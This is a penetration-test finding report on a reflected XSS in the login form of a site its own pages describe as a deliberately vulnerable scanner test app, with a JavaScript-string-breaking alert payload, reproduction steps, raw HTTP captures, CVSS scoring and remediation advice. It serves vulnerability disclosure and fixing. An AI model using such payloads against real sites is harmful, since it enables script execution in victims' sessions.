Reflected XSS in the login username field (POST /login)
Verified
Assessment details
The recorded test demonstrates the finding on this target.
Severity (CVSS)
2.1 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Assessed for this target
Reflected XSS reachable by an unauthenticated attacker (PR:N) who must entice a victim to submit the crafted login form (UI:A). No impact to the server itself; the demonstrated effect is script execution in the victim's browser session (subsequent system), so SC:L/SI:L are set while the vulnerable system's own VC/VI/VA remain N.
Explanation
The POST /login handler takes the username parameter and reflects it verbatim into a JavaScript string literal inside an inline <script> block on the step-1 response:
<script>
var username = '<username>';
document.getElementById('usernameInput').value = username;
</script>
Only < and > are HTML-entity-encoded; the single quote ('), double quote and backslash are not escaped for the JavaScript string context. Because the value sits inside <script>, HTML entity encoding is irrelevant to the JavaScript parser, so a username of '-alert('av_73c492a6e60d81ba['+7*7+']')-' produces var username = ''-alert('av_73c492a6e60d81ba['+7*7+']')-'';, which executes on page load. The weakness lives at the username reflection point of the login flow.
Prerequisites
Confirmed: the endpoint accepts unauthenticated POST /login requests and reflects username into the inline script. Unknown: whether a cross-site page can drive the POST (the login form carries a hidden per-form csrf field, so a cross-site auto-submit would need that token — not tested here). No authentication is required to trigger the reflection.
Reproduction steps
- Fresh start: load
https://ginandjuice.shop/loginin a browser (no session needed); note the hiddencsrffield and theusernametext input. - Set the
usernameinput to'-alert('av_73c492a6e60d81ba['+7*7+']')-'(the marker is this work's nonce and7*7must be computed by the target's JavaScript, not pre-computed). - Submit the form (POST /login,
application/x-www-form-urlencoded, bodycsrf=<token>&username=...). - Expected result: the step-1 response embeds
var username = ''-alert('av_73c492a6e60d81ba['+7*7+']')-'';and the browser executes it, raisingalert('av_73c492a6e60d81ba[49]'). - Control: submit
username=carlos; the response containsvar username = 'carlos';with no dialog. - Cleanup: no server-side state is created by the reflection; discard the browser session.
Evidence
Browser run against POST /login [r47] returned the step-1 page whose inline script is:
var username = ''-alert('av_73c492a6e60d81ba['+7*7+']')-'';
document.getElementById('usernameInput').value = username;
and the browser reported the executed dialog [c1]:
dialogs: [{"type":"alert","message":"av_73c492a6e60d81ba[49]","url":"https://ginandjuice.shop/login"}]
The marker av_73c492a6e60d81ba[49] appears only in the rendered dialog and response body, never in the submitted request (which carries the literal 7*7). A literal control submission of username=carlos [r12] produced var username = 'carlos'; with no dialog. Earlier bash probes [r26][r28][r30] showed the raw reflection: x'-alert(1)-'y was echoed as var username = 'x'-alert(1)-'y'; while </> were entity-encoded, confirming the quote was not escaped.
Recorded capture references
- Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a f8b0b41e-9533-40c9-9cb9-a585d8e9cdaf
- Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a bbbcb92e-3bce-4eb5-abd7-f9de6f621c08
- Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a c19809c4-5970-412d-b997-c88769e5a650
- Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 0b87857f-b1d9-45df-a64a-edd6b3f8facb
- Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a fe6cf389-599c-4d08-906d-db1cb0414303
Impact
Demonstrated: arbitrary JavaScript execution in the origin https://ginandjuice.shop for any user who submits the crafted login form. Because the session cookie is HttpOnly; SameSite=None, the script cannot read the cookie directly, but it can issue authenticated same-origin requests with the victim's session and read their responses — viewing orders, changing cart/account state, redeeming coupons — and exfiltrate any non-HttpOnly page data. Potential: an attacker able to deliver the POST gains script execution in each victim's session. Server-side data was not modified during this test.
Remediation
Do not build JavaScript from user input. Remove the inline var username = '...' reflection and read the value from the DOM (document.getElementById('usernameInput').value) or pass it via JSON.stringify into a data attribute. If the value must be embedded, use a JavaScript-string-context encoder (escape \, ', ", </, U+2028/U+2029) and add a strict Content-Security-Policy without unsafe-inline. After the fix, re-running the PoC should render the payload inert (e.g. var username = '\u0027-alert(...)';) and raise no dialog.
Evidence of record
- Supporting · r12
· f8b0b41e-9533-40c9-9cb9-a585d8e9cdafRequestPOST https://ginandjuice.shop/login user-agent: curl/8.5.0 accept: */* cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED] content-length: 53 content-type: application/x-www-form-urlencoded csrf=%5BREDACTED%5D&username=carlos
ResponseHTTP 200 OK date: Mon, 12 Oct 2026 09:02:41 GMT content-type: text/html; charset=utf-8 content-length: 7843 set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:41 GMT; Path=/ set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:41 GMT; Path=/; SameSite=None; Secure x-backend: a3b661f1-727e-4c59-b93e-9db836e9fc88 x-frame-options: SAMEORIGIN <!DOCTYPE html> <html> <!--LAB_HEAD_START--> <head> <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet> <link href=/resources/css/labsScanme.css rel=stylesheet> <meta name="viewport" content="width=device-width, user-scalable=no"> <script src="/resources/js/react.development.js"></script> <script src="/resources/js/react-dom.development.js"></script> <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script> <title>Login - Gin & Juice Shop</title> </head> <!--LAB_HEAD_END--> <body ng-app> <div id="scanMeHeader"> <section class="header-description"> <p> This is a deliberately vulnerable web application designed for testing web vulnerability scanners. <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1" onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span> </p> </section> <section class='scanMeBanner'> <div class=container> <a href='/'> <div class=scanme-logo></div> </a> <div class=title-container> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> <ul class="navigation-header-links secondary-links"> <li> <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a> <ul> <li> <a class="button" href="/my-account">Log in</a> </li> <li> <a class="button" href="/my-account">My account</a> </li> </ul> </li> <li> <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a> </li> <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li> </ul> </nav> </div> </div> </section> </div> <div theme="login"> <section class="maincontainer"> <div class="container is-page"> <header class="notification-header"> </header> <h1>Login</h1> <section> <form class=login-form method=POST action="/login"> <input required type="hidden" name="csrf" value="[REDACTED]"> <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username"> <script> var username = 'carlos'; document.getElementById('usernameInput').value = username; </script> <span><b>Password</b> hunter2</span> <input tabindex=0 placeholder="Password" required type=password name="password" autofocus> <button class=button type=submit> Log in </button> </form> </section> </div> </section> <div class="footer-wrapper"> <section class="footer"> <div class="footer-left"></div> <div class="footer-center"> <h2>Never miss a deal - subscribe now</h2> <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p> <script src='/resources/js/subscribeNow.js'></script> <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe"> <input required type=email name=email placeholder="Email address"> <input required type="hidden" name="csrf" value="[REDACTED]"> <button class="button" type=submit>Subscribe</button> </div> <dialog id="coupon-dialog"> <div class="coupon-wrapper"> <button class="close-button" onclick="closeCouponDialog(event)"></button> <div class="coupon-info"> <h1>20% off everything</h1> <div class="coupon-input"> <h3 id="copyable-coupon">Coupon not found</h3> <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button> <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div> </div> <p>Apply this coupon to your Shopping Cart before placing your order.</p> </div> </div> </dialog> <div class="footer-copyright"> <div class="portswigger-logo"></div> <div>© 2023 PortSwigger Ltd.</div> </div> </div> <div class="footer-right"></div> </section> <section class="footer-lower"> <div class="footerNavigation"> <div class="socialLinks"> </div> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> </nav> </div> </section> </div> </div> <script src='/resources/footer/js/scanme.js'></script> </body> </html> - Supporting · r26
· bbbcb92e-3bce-4eb5-abd7-f9de6f621c08RequestPOST https://ginandjuice.shop/login user-agent: curl/8.5.0 accept: */* cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED] content-length: 63 content-type: application/x-www-form-urlencoded csrf=%5BREDACTED%5D&username=x%27%22%3Cb%3Ezz
ResponseHTTP 200 OK date: Mon, 12 Oct 2026 09:02:51 GMT content-type: text/html; charset=utf-8 content-length: 7851 set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/ set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/; SameSite=None; Secure x-backend: c99cc9c7-9997-4247-90b0-cc6683d4c8c9 x-frame-options: SAMEORIGIN <!DOCTYPE html> <html> <!--LAB_HEAD_START--> <head> <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet> <link href=/resources/css/labsScanme.css rel=stylesheet> <meta name="viewport" content="width=device-width, user-scalable=no"> <script src="/resources/js/react.development.js"></script> <script src="/resources/js/react-dom.development.js"></script> <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script> <title>Login - Gin & Juice Shop</title> </head> <!--LAB_HEAD_END--> <body ng-app> <div id="scanMeHeader"> <section class="header-description"> <p> This is a deliberately vulnerable web application designed for testing web vulnerability scanners. <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1" onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span> </p> </section> <section class='scanMeBanner'> <div class=container> <a href='/'> <div class=scanme-logo></div> </a> <div class=title-container> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> <ul class="navigation-header-links secondary-links"> <li> <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a> <ul> <li> <a class="button" href="/my-account">Log in</a> </li> <li> <a class="button" href="/my-account">My account</a> </li> </ul> </li> <li> <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a> </li> <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li> </ul> </nav> </div> </div> </section> </div> <div theme="login"> <section class="maincontainer"> <div class="container is-page"> <header class="notification-header"> </header> <h1>Login</h1> <section> <form class=login-form method=POST action="/login"> <input required type="hidden" name="csrf" value="[REDACTED]"> <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username"> <script> var username = 'x'"<b>zz'; document.getElementById('usernameInput').value = username; </script> <span><b>Password</b> hunter2</span> <input tabindex=0 placeholder="Password" required type=password name="password" autofocus> <button class=button type=submit> Log in </button> </form> </section> </div> </section> <div class="footer-wrapper"> <section class="footer"> <div class="footer-left"></div> <div class="footer-center"> <h2>Never miss a deal - subscribe now</h2> <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p> <script src='/resources/js/subscribeNow.js'></script> <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe"> <input required type=email name=email placeholder="Email address"> <input required type="hidden" name="csrf" value="[REDACTED]"> <button class="button" type=submit>Subscribe</button> </div> <dialog id="coupon-dialog"> <div class="coupon-wrapper"> <button class="close-button" onclick="closeCouponDialog(event)"></button> <div class="coupon-info"> <h1>20% off everything</h1> <div class="coupon-input"> <h3 id="copyable-coupon">Coupon not found</h3> <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button> <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div> </div> <p>Apply this coupon to your Shopping Cart before placing your order.</p> </div> </div> </dialog> <div class="footer-copyright"> <div class="portswigger-logo"></div> <div>© 2023 PortSwigger Ltd.</div> </div> </div> <div class="footer-right"></div> </section> <section class="footer-lower"> <div class="footerNavigation"> <div class="socialLinks"> </div> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> </nav> </div> </section> </div> </div> <script src='/resources/footer/js/scanme.js'></script> </body> </html> - Supporting · r28
· c19809c4-5970-412d-b997-c88769e5a650RequestPOST https://ginandjuice.shop/login user-agent: curl/8.5.0 accept: */* cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED] content-length: 69 content-type: application/x-www-form-urlencoded csrf=%5BREDACTED%5D&username=x%27-alert%281%29-%27y
ResponseHTTP 200 OK date: Mon, 12 Oct 2026 09:02:51 GMT content-type: text/html; charset=utf-8 content-length: 7851 set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/ set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/; SameSite=None; Secure x-backend: afe78951-5574-463e-9aac-b2da4a965957 x-frame-options: SAMEORIGIN <!DOCTYPE html> <html> <!--LAB_HEAD_START--> <head> <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet> <link href=/resources/css/labsScanme.css rel=stylesheet> <meta name="viewport" content="width=device-width, user-scalable=no"> <script src="/resources/js/react.development.js"></script> <script src="/resources/js/react-dom.development.js"></script> <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script> <title>Login - Gin & Juice Shop</title> </head> <!--LAB_HEAD_END--> <body ng-app> <div id="scanMeHeader"> <section class="header-description"> <p> This is a deliberately vulnerable web application designed for testing web vulnerability scanners. <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1" onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span> </p> </section> <section class='scanMeBanner'> <div class=container> <a href='/'> <div class=scanme-logo></div> </a> <div class=title-container> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> <ul class="navigation-header-links secondary-links"> <li> <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a> <ul> <li> <a class="button" href="/my-account">Log in</a> </li> <li> <a class="button" href="/my-account">My account</a> </li> </ul> </li> <li> <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a> </li> <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li> </ul> </nav> </div> </div> </section> </div> <div theme="login"> <section class="maincontainer"> <div class="container is-page"> <header class="notification-header"> </header> <h1>Login</h1> <section> <form class=login-form method=POST action="/login"> <input required type="hidden" name="csrf" value="[REDACTED]"> <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username"> <script> var username = 'x'-alert(1)-'y'; document.getElementById('usernameInput').value = username; </script> <span><b>Password</b> hunter2</span> <input tabindex=0 placeholder="Password" required type=password name="password" autofocus> <button class=button type=submit> Log in </button> </form> </section> </div> </section> <div class="footer-wrapper"> <section class="footer"> <div class="footer-left"></div> <div class="footer-center"> <h2>Never miss a deal - subscribe now</h2> <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p> <script src='/resources/js/subscribeNow.js'></script> <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe"> <input required type=email name=email placeholder="Email address"> <input required type="hidden" name="csrf" value="[REDACTED]"> <button class="button" type=submit>Subscribe</button> </div> <dialog id="coupon-dialog"> <div class="coupon-wrapper"> <button class="close-button" onclick="closeCouponDialog(event)"></button> <div class="coupon-info"> <h1>20% off everything</h1> <div class="coupon-input"> <h3 id="copyable-coupon">Coupon not found</h3> <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button> <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div> </div> <p>Apply this coupon to your Shopping Cart before placing your order.</p> </div> </div> </dialog> <div class="footer-copyright"> <div class="portswigger-logo"></div> <div>© 2023 PortSwigger Ltd.</div> </div> </div> <div class="footer-right"></div> </section> <section class="footer-lower"> <div class="footerNavigation"> <div class="socialLinks"> </div> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> </nav> </div> </section> </div> </div> <script src='/resources/footer/js/scanme.js'></script> </body> </html> - Supporting · r30
· 0b87857f-b1d9-45df-a64a-edd6b3f8facbRequestPOST https://ginandjuice.shop/login user-agent: curl/8.5.0 accept: */* cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED] content-length: 56 content-type: application/x-www-form-urlencoded csrf=%5BREDACTED%5D&username=carlos%27
ResponseHTTP 200 OK date: Mon, 12 Oct 2026 09:02:51 GMT content-type: text/html; charset=utf-8 content-length: 7844 set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/ set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:02:51 GMT; Path=/; SameSite=None; Secure x-backend: 43e98f03-700e-4d12-841c-74aea6d448bb x-frame-options: SAMEORIGIN <!DOCTYPE html> <html> <!--LAB_HEAD_START--> <head> <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet> <link href=/resources/css/labsScanme.css rel=stylesheet> <meta name="viewport" content="width=device-width, user-scalable=no"> <script src="/resources/js/react.development.js"></script> <script src="/resources/js/react-dom.development.js"></script> <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script> <title>Login - Gin & Juice Shop</title> </head> <!--LAB_HEAD_END--> <body ng-app> <div id="scanMeHeader"> <section class="header-description"> <p> This is a deliberately vulnerable web application designed for testing web vulnerability scanners. <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1" onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span> </p> </section> <section class='scanMeBanner'> <div class=container> <a href='/'> <div class=scanme-logo></div> </a> <div class=title-container> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> <ul class="navigation-header-links secondary-links"> <li> <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a> <ul> <li> <a class="button" href="/my-account">Log in</a> </li> <li> <a class="button" href="/my-account">My account</a> </li> </ul> </li> <li> <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a> </li> <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li> </ul> </nav> </div> </div> </section> </div> <div theme="login"> <section class="maincontainer"> <div class="container is-page"> <header class="notification-header"> </header> <h1>Login</h1> <section> <form class=login-form method=POST action="/login"> <input required type="hidden" name="csrf" value="[REDACTED]"> <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username"> <script> var username = 'carlos''; document.getElementById('usernameInput').value = username; </script> <span><b>Password</b> hunter2</span> <input tabindex=0 placeholder="Password" required type=password name="password" autofocus> <button class=button type=submit> Log in </button> </form> </section> </div> </section> <div class="footer-wrapper"> <section class="footer"> <div class="footer-left"></div> <div class="footer-center"> <h2>Never miss a deal - subscribe now</h2> <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p> <script src='/resources/js/subscribeNow.js'></script> <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe"> <input required type=email name=email placeholder="Email address"> <input required type="hidden" name="csrf" value="[REDACTED]"> <button class="button" type=submit>Subscribe</button> </div> <dialog id="coupon-dialog"> <div class="coupon-wrapper"> <button class="close-button" onclick="closeCouponDialog(event)"></button> <div class="coupon-info"> <h1>20% off everything</h1> <div class="coupon-input"> <h3 id="copyable-coupon">Coupon not found</h3> <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button> <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div> </div> <p>Apply this coupon to your Shopping Cart before placing your order.</p> </div> </div> </dialog> <div class="footer-copyright"> <div class="portswigger-logo"></div> <div>© 2023 PortSwigger Ltd.</div> </div> </div> <div class="footer-right"></div> </section> <section class="footer-lower"> <div class="footerNavigation"> <div class="socialLinks"> </div> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> </nav> </div> </section> </div> </div> <script src='/resources/footer/js/scanme.js'></script> </body> </html> - Attack · r47
· fe6cf389-599c-4d08-906d-db1cb0414303RequestPOST https://ginandjuice.shop/login content-length: 112 pragma: no-cache cache-control: no-cache accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 content-type: application/x-www-form-urlencoded origin: https://ginandjuice.shop upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 accept-language: en-US sec-ch-ua: "Brave";v="147", "Not.A/Brand";v="8", "Chromium";v="147" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" sec-fetch-site: same-origin sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-dest: document referer: https://ginandjuice.shop/login accept-encoding: gzip, deflate, br, zstd cookie: session=[REDACTED] cookie: AWSALB=[REDACTED] cookie: AWSALBCORS=[REDACTED] priority: u=0, i csrf=%5BREDACTED%5D&username=%27-alert%28%27av_73c492a6e60d81ba%5B%27%2B7*7%2B%27%5D%27%29-%27
ResponseHTTP 200 OK date: Mon, 12 Oct 2026 09:03:06 GMT content-type: text/html; charset=utf-8 content-length: 1939 set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:03:06 GMT; Path=/ set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:03:06 GMT; Path=/; SameSite=None; Secure x-backend: 1eca3576-4c65-4250-afce-a53f63c46997 x-frame-options: SAMEORIGIN content-encoding: gzip <!DOCTYPE html> <html> <!--LAB_HEAD_START--> <head> <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet> <link href=/resources/css/labsScanme.css rel=stylesheet> <meta name="viewport" content="width=device-width, user-scalable=no"> <script src="/resources/js/react.development.js"></script> <script src="/resources/js/react-dom.development.js"></script> <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script> <title>Login - Gin & Juice Shop</title> </head> <!--LAB_HEAD_END--> <body ng-app> <div id="scanMeHeader"> <section class="header-description"> <p> This is a deliberately vulnerable web application designed for testing web vulnerability scanners. <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1" onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span> </p> </section> <section class='scanMeBanner'> <div class=container> <a href='/'> <div class=scanme-logo></div> </a> <div class=title-container> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> <ul class="navigation-header-links secondary-links"> <li> <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a> <ul> <li> <a class="button" href="/my-account">Log in</a> </li> <li> <a class="button" href="/my-account">My account</a> </li> </ul> </li> <li> <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a> </li> <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li> </ul> </nav> </div> </div> </section> </div> <div theme="login"> <section class="maincontainer"> <div class="container is-page"> <header class="notification-header"> </header> <h1>Login</h1> <section> <form class=login-form method=POST action="/login"> <input required type="hidden" name="csrf" value="[REDACTED]"> <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username"> <script> var username = ''-alert('av_73c492a6e60d81ba['+7*7+']')-''; document.getElementById('usernameInput').value = username; </script> <span><b>Password</b> hunter2</span> <input tabindex=0 placeholder="Password" required type=password name="password" autofocus> <button class=button type=submit> Log in </button> </form> </section> </div> </section> <div class="footer-wrapper"> <section class="footer"> <div class="footer-left"></div> <div class="footer-center"> <h2>Never miss a deal - subscribe now</h2> <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p> <script src='/resources/js/subscribeNow.js'></script> <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe"> <input required type=email name=email placeholder="Email address"> <input required type="hidden" name="csrf" value="[REDACTED]"> <button class="button" type=submit>Subscribe</button> </div> <dialog id="coupon-dialog"> <div class="coupon-wrapper"> <button class="close-button" onclick="closeCouponDialog(event)"></button> <div class="coupon-info"> <h1>20% off everything</h1> <div class="coupon-input"> <h3 id="copyable-coupon">Coupon not found</h3> <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button> <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div> </div> <p>Apply this coupon to your Shopping Cart before placing your order.</p> </div> </div> </dialog> <div class="footer-copyright"> <div class="portswigger-logo"></div> <div>© 2023 PortSwigger Ltd.</div> </div> </div> <div class="footer-right"></div> </section> <section class="footer-lower"> <div class="footerNavigation"> <div class="socialLinks"> </div> <nav> <ul class="navigation-header-links primary-links"> <li> <a class="button" href="/catalog">Products</a> </li> <li> <a class="button" href="/blog">Blog</a> </li> <li> <a class="button" href="/about">Our story</a> </li> </ul> </nav> </div> </section> </div> </div> <script src='/resources/footer/js/scanme.js'></script> </body> </html>
Observed effect
- kind
- browser-dialog
- version
- 1
- confirmationId
- c1
- actionId
- e43a045b-e662-45d0-a310-418158626b50
- deliveringRequestId
- fe6cf389-599c-4d08-906d-db1cb0414303
- dialog
- {"documentActionId":"e43a045b-e662-45d0-a310-418158626b50","actionId":"e43a045b-e662-45d0-a310-418158626b50","type":"alert","message":"av_73c492a6e60d81ba[49]","url":"https://ginandjuice.shop/login","at":1791795786654}
Derived severity metrics
- PR=N: Victim browser delivers the payload; its session is not an attacker privilege.
- UI=A: The nonce payload is in the bound dialog’s delivering request; victim navigation or a browser action is required.
- AT=P: The delivering request carries form:csrf, an anti-forgery value an earlier response issued to the tester's session; an attacker cannot supply the victim's.